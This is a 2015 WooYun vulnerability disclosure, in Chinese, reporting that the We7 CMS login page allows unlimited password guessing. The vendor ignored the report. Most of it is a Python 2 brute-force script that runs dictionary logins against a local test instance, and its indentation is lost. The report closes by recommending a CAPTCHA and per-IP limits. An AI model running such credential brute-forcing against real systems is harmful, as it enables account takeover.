当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138492

漏洞标题:微擎某功能存在逻辑错误可撞库

相关厂商:we7.cc

漏洞作者: timor

提交时间:2015-09-02 09:30

修复时间:2015-09-07 09:32

公开时间:2015-09-07 09:32

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:5

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-02: 细节已通知厂商并且等待厂商处理中
2015-09-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

微擎登陆页面可无限次暴力破解

2Z(XKE3XDT_X6M{OUN1KI1X.png


利用代码

# -*- coding: latin-1 -*-
import urllib2
import urllib
import httplib
import cookielib
import threading
import sys
def openfile(path):
fp=open(path)
files = []
for password in fp.readlines():
files.append(password.replace('\n',''))
fp.close()
return files
def sendinfo(username,password):
try:
data = urllib.urlencode({"username":username,"password":password,"submit":"%E7%99%BB%E5%BD%95","token":"9139c24b"})#token值抓包,估计会变
headers = {"Content-type": "application/x-www-form-urlencoded"
, "Accept": "text/plain"}
httpClient = httplib.HTTPConnection("localhost", 80, timeout=30)
httpClient.request("POST", "/weixin/web/index.php?c=user&a=login&", data, headers)
response = httpClient.getresponse()
if len(response.read()) > 3700:
print "<mi> "+username+":"+password+"<ma>"
except Exception,e:
print e
finally:
if httpClient:
httpClient.close()
def check(username,passwords):
for password in passwords:
sys.stdout.write("Username: %s PassWord: %s \r" % (username,password))
sys.stdout.flush()
sendinfo(username,password)
if __name__ == '__main__':
passwords=openfile("pass.dic")#字典
username = openfile("username.txt")#学生用户名
threads = []
for user in username:
threads.append(threading.Thread(target=check,args=(user,passwords)))
for t in threads:
t.start()
t.join()
print "all is over"

漏洞证明:

1V_WO2M@8S3}5}132[XRY0A.png

修复方案:

加验证码和IP访问的次数

版权声明:转载请注明来源 timor@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-07 09:32

厂商回复:

最新状态:

暂无


漏洞评价:

评论